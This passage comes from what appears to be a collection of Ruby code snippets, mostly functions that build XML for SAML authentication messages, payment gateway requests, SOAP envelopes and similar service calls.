attribute_consuming_service_url.nil?\n attributes['ProviderName'] = provider_name unless provider_name.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:AuthnRequest', attributes) {\n xml << subject.to_xml unless subject.nil?\n xml << name_id_policy.to_xml unless name_id_policy.nil?\n xml << conditions.to_xml unless conditions.nil?\n xml << requested_authn_context unless requested_authn_context.nil?\n xml << scoping.to_xml unless scoping.nil?\n }\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "def encode_SAMLResponse(nameID, opts = {})\n now = Time.now.utc\n response_id, reference_id = UUID.generate, UUID.generate\n audience_uri = opts[:audience_uri] || saml_acs_url[/^(.*?\\/\\/.*?\\/)/, 1]\n issuer_uri = opts[:issuer_uri] || (request && request.url) || \"http://example.com\"\n assertion_attributes = opts[:attributes] || []\n\n # Additional assertion attributes\n attr_assertions = \"\"\n assertion_attributes.each do |key,value|\n real_value = ((value.is_a?(Hash) || value.is_a?(Array)) ? value.to_json : value)\n attr_assertions += %[<Attribute Name=\"#{key}\"><AttributeValue>#{real_value}</AttributeValue></Attribute>]\n end\n\n assertion = %[<Assertion xmlns=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_#{reference_id}\" IssueInstant=\"#{now.iso8601}\" Version=\"2.0\"><Issuer>#{issuer_uri}</Issuer><Subject><NameID Format=\"#{NAME_ID_FORMAT}\">#{nameID}</NameID><SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\"><SubjectConfirmationData InResponseTo=\"#{@saml_request_id}\" NotOnOrAfter=\"#{(now+3*60).iso8601}\" Recipient=\"#{@saml_acs_url}\"></SubjectConfirmationData></SubjectConfirmation></Subject><Conditions NotBefore=\"#{(now-5).iso8601}\" NotOnOrAfter=\"#{(now+60*60).iso8601}\"><AudienceRestriction><Audience>#{audience_uri}</Audience></AudienceRestriction></Conditions><AttributeStatement><Attribute Name=\"mno_uid\"><AttributeValue>#{nameID}</AttributeValue></Attribute>#{attr_assertions}</AttributeStatement><AuthnStatement AuthnInstant=\"#{now.iso8601}\" SessionIndex=\"_#{reference_id}\"><AuthnContext><AuthnContextClassRef>urn:federation:authentication:windows</AuthnContextClassRef></AuthnContext></AuthnStatement></Assertion>]\n\n digest_value = Base64.encode64(algorithm.digest(assertion)).gsub(/\\n/, '')\n\n signed_info = %[<ds:SignedInfo xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"><ds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"></ds:CanonicalizationMethod><ds:SignatureMethod Algorithm=\"http://www.w3.org/2000/09/xmldsig#rsa-#{algorithm_name}\"></ds:SignatureMethod><ds:Reference URI=\"#_#{reference_id}\"><ds:Transforms><ds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"></ds:Transform><ds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm=\"http://www.w3.org/2000/09/xmldsig##{algorithm_name}\"></ds:DigestMethod><ds:DigestValue>#{digest_value}</ds:DigestValue></ds:Reference></ds:SignedInfo>]\n\n signature_value = sign(signed_info).gsub(/\\n/, '')\n\n signature = %[<ds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\">#{signed_info}<ds:SignatureValue>#{signature_value}</ds:SignatureValue><KeyInfo xmlns=\"http://www.w3.org/2000/09/xmldsig#\"><ds:X509Data><ds:X509Certificate>#{self.x509_certificate}</ds:X509Certificate></ds:X509Data></KeyInfo></ds:Signature>]\n\n assertion_and_signature = assertion.sub(/Issuer\\>\\<Subject/, \"Issuer>#{signature}<Subject\")\n\n xml = %[<samlp:Response ID=\"_#{response_id}\" Version=\"2.0\" IssueInstant=\"#{now.iso8601}\" Destination=\"#{@saml_acs_url}\" Consent=\"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" InResponseTo=\"#{@saml_request_id}\" xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"><Issuer xmlns=\"urn:oasis:names:tc:SAML:2.0:assertion\">#{issuer_uri}</Issuer><samlp:Status><samlp:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\" /></samlp:Status>#{assertion_and_signature}</samlp:Response>]\n\n Base64.encode64(xml)\n end", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def set_assertion\n @assertion = Assertion.find(params[:id])\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'Method' => method}\n subject_confirmation_data_block = Proc.new { xml << subject_confirmation_data.to_xml} if subject_confirmation_data\n xml.tag!('saml:SubjectConfirmation', attributes, &subject_confirmation_data_block)\n end", "def notice_xml\n render xml: {\n notice: {\n id: (@results.first[:hash] rescue nil)\n }\n }\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('saml:AuthnContext') {\n xml.tag!('saml:AuthnContextClassRef', class_reference) unless class_reference.nil?\n xml.tag!('saml:AuthnContextDecl', context_declaration) unless context_declaration.nil?\n xml.tag!('saml:AuthnContextDeclRef', context_declaration_ref) unless context_declaration_ref.nil?\n }\n end", "def request_id=(_arg0); end", "def generate_saml_request\n auth_request = OneLogin::RubySaml::Authrequest.new\n auth_url = auth_request.create(saml_settings)\n CGI.unescape(auth_url.split(\"=\").last)\n end", "def error_xml(code, msg)\n xml = ''\n doc = Builder::XmlMarkup.new(:target => xml)\n \n doc.Response do\n doc.Errors do\n doc.Error do\n doc.Code code.to_s\n doc.Message msg\n doc.BoxUsage \"0\"\n end\n end\n \n doc.RequestID \"1234\"\n end\n \n xml\n end", "def echo\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.notification_echo do\n xml.unique_id @unique_id\n end\n xml.target!\n end", "def echo\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.notification_echo do\n xml.unique_id @unique_id\n end\n xml.target!\n end", "def assertion_params\n params.require(:assertion).permit(:user_id, :badge_id, :uid, :recipient, :badge, :issued_on, :expires)\n end", "def id\n attr_val('cda:act/cda:id/@root')\n end", "def request_id=(_); end", "def body\n <<-XML\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <#{@command}Request xmlns=\"urn:ebay:apis:eBLBaseComponents\">\n #{requester_credentials_xml}\n #{input_xml}\n </#{@command}Request>\n XML\n end", "def build_id o=@origin_id, m=@metric_id\n\t\t\"#{o}#{SEP}#{m}\"\n\tend", "def request_id; end", "def to_s; \"#<Veritable::Analysis _id='#{_id}'>\"; end", "def build_tracking_request(order_ids, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! 'TrackingXML' do\n add_credentials(xml)\n\n order_ids.each do |o_id|\n xml.tag! 'Tracking' do\n xml.tag! 'Order', o_id\n end\n end\n end\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('saml:Condition')\n end", "def to_xml\r\n x = Builder::XmlMarkup.new(:target => (reply = ''))\r\n x.instruct!\r\n x.comment! \"#{@collection.size} entries\" \r\n x.strings(:each => @each) {\r\n @collection.each do |each|\r\n x.s(each)\r\n end\r\n }\r\n reply\r\n end", "def to_xml_string(str = +'')\n return if empty?\n\n str << \"<tableParts count='#{size}'>\"\n each { |table| str << \"<tablePart r:id='#{table.rId}'/>\" }\n str << '</tableParts>'\n end", "def to_xml\n xml = Builder::XmlMarkup.new\n xml.resumptionToken \"#{@opts[:metadata_prefix]}:#{@opts[:set]}:#{nextCount}:#{total}:#{@more}\", {\n expirationDate: (Time.now + 24*60*60).utc.iso8601,\n cursor: @count,\n completeListSize: @total\n }\n xml.target!\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ProxyCount'] = proxy_count if proxy_count\n xml.tag!('samlp:Scoping', attributes) {\n xml << idp_list.to_xml if idp_list\n requester_ids.each { |requester_id| xml << requester_id.to_xml }\n }\n end", "def xml_args\n [{\"rdf:nodeID\" => self.identifier}]\n end", "def test_request_id_is_properly_set\n request_id_node = @doc.xpath(\n \"//bxd:RequestId\", 'bxd' => 'http://model.bxd.fi'\n ).first\n\n assert request_id_node.content =~ /^[0-9A-F]+$/i\n assert_equal request_id_node.content.length, 34\n end", "def request_id\n @rid ||= Jabber::Generators.request\n end", "def test_generate_request_xml_successful\n assert AxAccount.request_xml(\"CU 0100000\")\n end", "def echo\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.notification_echo do\n xml.payment_unique_id @payment_unique_id\n end\n xml.target!\n end", "def xml \n obj = {}\n expOb = Experiment.where('experimentName' => params[:experimentName]).to_a[0]\n obj['gameName'] = expOb['gameName']\n obj['sequences'] = expOb['sequences']\n obj['experimentName'] = expOb['experimentName']\n render :xml => \"<hash>\"+create_xml(obj, '')+\"</hash>\\n\"\n end", "def createsolvedticketxml(assignee_id)\n\n closeticketxml = Document.new\n closeticketxml.add_element(\"ticket\")\n assignee = Element.new(\"assignee-id\")\n assignee.text = assignee_id\n closeticketxml.root.add_element(assignee)\n\n # id of a closed ticket is 3\n status = Element.new(\"status-id\")\n status.text = 3\n closeticketxml.root.add_element(status)\n return closeticketxml # explict return to return the entire xml\n end", "def name_id\n @name_id ||= begin\n node = REXML::XPath.first(document, \"/p:Response/a:Assertion/a:Subject/a:NameID\", { \"p\" => PROTOCOL, \"a\" => ASSERTION })\n node.text\n end\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def to_xml(options={})\r\n a = attributes.clone\r\n a.delete(\"ino:id\")\r\n a.to_xml({:root => self.class.doctype}.merge(options))\r\n end", "def to_xml\n xml = \"<ticket>\\n\"\n xml << \"\\t<subject>#{@subject}</subject>\\n\"\n xml << \"\\t<description>#{@description}</description>\\n\"\n xml << \"\\t<requester-name>#{@requester_name}</requester-name>\\n\"\n xml << \"\\t<requester-email>#{@requester_email}</requester-email>\\n\"\n xml << \"\\t<set-tags>#{@tags}</set-tags>\\n\"\n xml << \"</ticket>\"\n return xml\n end", "def cdk_fmt\n \"</#{@id}>\"\n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def to_s\n self.request_id.to_s\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def generate_response_xml\n builder = Builder::XmlMarkup.new\n builder.instruct!\n\n builder.imsx_POXEnvelopeResponse(\"xmlns\" => \"http://www.imsglobal.org/services/ltiv1p1/xsd/imsoms_v1p0\") do |env|\n env.imsx_POXHeader do |header|\n header.imsx_POXResponseHeaderInfo do |info|\n info.imsx_version \"V1.0\"\n info.imsx_messageIdentifier @message_identifier || IMS::LTI::generate_identifier\n info.imsx_statusInfo do |status|\n status.imsx_codeMajor @code_major\n status.imsx_severity @severity\n status.imsx_description @description\n status.imsx_messageRefIdentifier @message_ref_identifier\n status.imsx_operationRefIdentifier @operation\n end\n end\n end #/header\n env.imsx_POXBody do |body|\n unless unsupported?\n if @operation == OutcomeRequest::READ_REQUEST\n body.tag!(@operation + 'Response') do |request|\n request.result do |res|\n res.resultScore do |res_score|\n res_score.language \"en\" # 'en' represents the format of the number\n res_score.textString @score.to_s\n end\n end #/result\n end\n else\n body.tag!(@operation + 'Response')\n end #/operationResponse\n end\n end #/body\n end\n end", "def add_assertion #:nodoc:\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def to_xml\n\t\t\t\"<#{@name} #{attributes_string} />\"\n\t\tend", "def request_id\n SecureRandom.hex(17)\n end", "def request_id\n SecureRandom.hex(17)\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['Namespace'] = namespace unless namespace.nil?\n xml.tag!('saml:Action', attributes, value)\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def build_status_request(options)\n datetimestamp = create_time_stamp\n message = datetimestamp + @options[:login] + SUB_ID + options[:transaction_id]\n tokenCode = sign_message(@options[:pem], @options[:password], message)\n\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.tag! 'AcquirerStatusReq', 'xmlns' => 'http://www.idealdesk.com/Message', 'version' => API_VERSION do\n xml.tag! 'createDateTimeStamp', datetimestamp\n xml.tag! 'Merchant' do\n xml.tag! 'merchantID', @options[:login]\n xml.tag! 'subID', SUB_ID\n xml.tag! 'authentication' , AUTHENTICATION_TYPE\n xml.tag! 'token', token\n xml.tag! 'tokenCode', tokenCode\n end\n xml.tag! 'Transaction' do\n xml.tag! 'transactionID', options[:transaction_id]\n end\n end\n xml.target!\n end", "def to_xml\n\t\t\ttext = \"\"\n\t\t\t@response.write(text, 1)\n\t\t\treturn text\n\t\tend", "def build_notification_id(id)\n \"Notification-#{id}\"\n end", "def id\n @entry.at_xpath('cda:act/cda:id/@root').value\n end", "def to_xml\n Builder.new(owner, grants).to_s\n end", "def response_xml\r\n @sess.DoRequests(@request_set).ToXMLString\r\n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def to_xml\n Builder.new(permission, grantee).to_s\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def xml_payload(input = attributes)\n attrs = input.with_indifferent_access\n returning_value = <<-XML_TEMPLATE\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <orcid-message\n xmlns:xsi=\"http://www.orcid.org/ns/orcid https://raw.github.com/ORCID/ORCID-Source/master/orcid-model/src/main/resources/orcid-message-1.1.xsd\"\n xmlns=\"http://www.orcid.org/ns/orcid\">\n <message-version>1.1</message-version>\n <orcid-profile>\n <orcid-bio>\n <personal-details>\n <given-names>#{attrs.fetch('given_names')}</given-names>\n <family-name>#{attrs.fetch('family_name')}</family-name>\n </personal-details>\n <contact-details>\n <email primary=\"true\">#{attrs.fetch('primary_email')}</email>\n </contact-details>\n </orcid-bio>\n </orcid-profile>\n </orcid-message>\n XML_TEMPLATE\n returning_value.strip\n end", "def build_status_subscription_request(xml, options)\n xml.tag!('subscriptionId', options[:subscription_id])\n\n xml.target!\n end", "def build_directory_request\n datetimestamp = create_time_stamp\n message = datetimestamp + @options[:login] + SUB_ID\n tokenCode = sign_message(@options[:pem], @options[:password], message)\n\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.tag! 'DirectoryReq', 'xmlns' => 'http://www.idealdesk.com/Message', 'version' => API_VERSION do\n xml.tag! 'createDateTimeStamp', datetimestamp\n xml.tag! 'Merchant' do\n xml.tag! 'merchantID', @options[:login]\n xml.tag! 'subID', SUB_ID\n xml.tag! 'authentication', AUTHENTICATION_TYPE\n xml.tag! 'token', token\n xml.tag! 'tokenCode', tokenCode\n end\n end\n xml.target!\n end", "def id\n # FIXME: make this number configurable and document the probabilities of clashes\n @id ||= @env[Action::REQUEST_ID] = SecureRandom.hex(Action::DEFAULT_ID_LENGTH)\n end", "def authed_xml_as_string(builder, &block)\n builder.instruct!(:xml, :version=>\"1.0\", :encoding=>\"UTF-8\")\n builder.Request(:xmlns => \"urn:sbx:apis:SbxBaseComponents\") do\n builder.RequesterCredentials do\n builder.ApiUserToken(connection.api_user_token)\n builder.SbxUserToken(connection.sbx_user_token)\n end\n block.call\n end\n\n builder.target!\n end", "def request_id\n SecureRandom.hex(5)\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code = authorization.to_s.split(';')\n \n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n \n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def build_request_xml(checks, check_data = {})\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.callvalidate do\n authentication(xml)\n xml.sessions do\n xml.session(\"RID\" => Time.now.to_f) do\n xml.data do\n personal_data(xml, check_data[:personal_data])\n card_data(xml, check_data[:card_data])\n bank_data(xml, check_data[:bank_data])\n income_data(xml, check_data[:income_data])\n required_checks(xml, checks)\n end\n end\n end\n xml.application @config[:application_name]\n end\n end\n builder.doc\n end", "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end", "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if !@env.empty? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "def signon_app_cert_rq()\n xml = Builder::XmlMarkup.new(:indent => 2)\n create_xml_header(xml, options)\n\n xml.tag!('QBMSXML') do\n xml.tag!('SignonMsgsRq') do\n xml.tag!('SignonAppCertRq') do\n xml.tag!('ClientDateTime', Time.now)\n xml.tag!('ApplicationLogin', @options[:applogin])\n xml.tag!('ConnectionTicket', @options[:conntkt])\n end\n end\n end\n xml.target!\n end", "def build_insurance_request(options={}, xml_request)\n xml_request << XmlNode.new('wwex:insuranceDetail') do |insurance|\n insurance << XmlNode.new('wwex:insuranceCategory', INSURANCE_CATEGORY[options[:insurance_category_type]])\n insurance << XmlNode.new('wwex:insuredCommodityValue', options[:insurance_commodity_value])\n insurance << XmlNode.new('wwex:insuranceIncludingFreightCharge', options[:included_the_freight_charges])\n end\n xml_request.to_s\n end", "def inspect\n str = +\"#<#{self.class.name}:0x#{object_id}\"\n str << \" id=\\\"#{@id}\\\"\" if @id\n str << '>'\n end", "def build_fulfillment_request(order_id, shipping_address, line_items, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! 'OrderXML' do\n add_credentials(xml)\n add_order(xml, order_id, shipping_address, line_items, options)\n end\n xml.target!\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml_attributes = {}\n xml.tag!('samlp:AttributeQuery', xml_attributes) {\n xml << subject.to_xml unless subject.nil?\n attributes.each { |attribute| xml << attribute.to_xml }\n }\n end", "def to_xml_fragment\n Exporters::XML::DDI::Fragment.export_3_2 Exporters::XML::DDI::QuestionGrid, self\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code, ca_reference = authorization.to_s.split(';')\n\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n\n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id]) unless options[:order_id].nil?\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end", "def id_str\n @id.nil? ? '' : \"[#{@id.gsub(/(\\[|\\])/){|s|\"\\\\#{s}\"}}]\"\n end", "def get_nfg_soap_request_template\n \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?><soap12:Envelope xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xmlns:xsd=\\\"http://www.w3.org/2001/XMLSchema\\\" xmlns:soap12=\\\"http://www.w3.org/2003/05/soap-envelope\\\"><soap12:Body>|body|</soap12:Body></soap12:Envelope>\"\n end", "def id\n id = attr('id')\n return id unless id == \"\"\n \n @@element_id_count += 1\n id = \"red_query_elem_#{@@element_id_count}\"\n attr('id', id)\n return id\n end", "def request_body(xml); xml; end", "def xml_string\n \"<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:ns1='http://thalesgroup.com/RTTI/2014-02-20/ldb/' xmlns:ns2='http://thalesgroup.com/RTTI/2010-11-01/ldb/commontypes'>\" \\\n '<SOAP-ENV:Header>' \\\n '<ns2:AccessToken>' \\\n \"<ns2:TokenValue>#{national_rail_token}</ns2:TokenValue>\" \\\n '</ns2:AccessToken>' \\\n '</SOAP-ENV:Header>' \\\n '<SOAP-ENV:Body>' \\\n '<ns1:GetDepartureBoardRequest>' \\\n '<ns1:numRows>10</ns1:numRows>' \\\n \"<ns1:crs>#{from_station_code}</ns1:crs>\" \\\n \"<ns1:filterCrs>#{to_station_code}</ns1:filterCrs>\" \\\n '</ns1:GetDepartureBoardRequest>' \\\n '</SOAP-ENV:Body>' \\\n '</SOAP-ENV:Envelope>'\n end", "def to_xml\n response\n end", "def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Api.V2010.ParticipantContext #{context}>\"\n end", "def message_id_tag(params={:id => 0, :text => nil, :location=>:body, :action=>:generate})\n tag_string = SiteSetting.message_id_string\n#puts \"**** params=#{params}\"\n case params[:action]\n when :generate\n if params[:location] == :body\n return \"##{params[:id]}\"\n else\n return \"(#{tag_string} ##{params[:id]})\"\n end\n when :find\n if params[:location] == :body\n params[:text] =~ /[\\s\\(\\[]*!([0-9]+)/ || params[:text] =~ /confirm +[!#]([0-9]+)/i\n return $1 ? $1.to_i : nil\n else\n params[:text] =~ Regexp.new(tag_string + '\\s#([0-9]{1,9})\\)', true)\n return $1 ? $1.to_i : nil\n end\n when :confirm_tag # This is for use in an explanation of how to confirm\n return \"!#{params[:id]}\"\n end\n end", "def build_result(action)\n xml = ''\n doc = Builder::XmlMarkup.new(:target => xml)\n doc.tag!(\"#{action}Response\", :xmlns => \"http://sdb.amazonaws.com/doc/2007-11-07\") do\n if block_given?\n yield doc\n end\n \n doc.ResponseMetadata do\n doc.RequestId \"1234\"\n doc.BoxUsage \"0\"\n end\n end\n \n xml\n end", "def to_s\r\n\t\t\"<httpRequest>\" + @uri_xml_encoded_only + \"</httpRequest>\\n\"\r\n\tend", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'Format' => format}\n attributes['NameQualifier'] = name_qualifier unless name_qualifier.nil?\n attributes['SPNameQualifier'] = sp_name_qualifier unless sp_name_qualifier.nil?\n 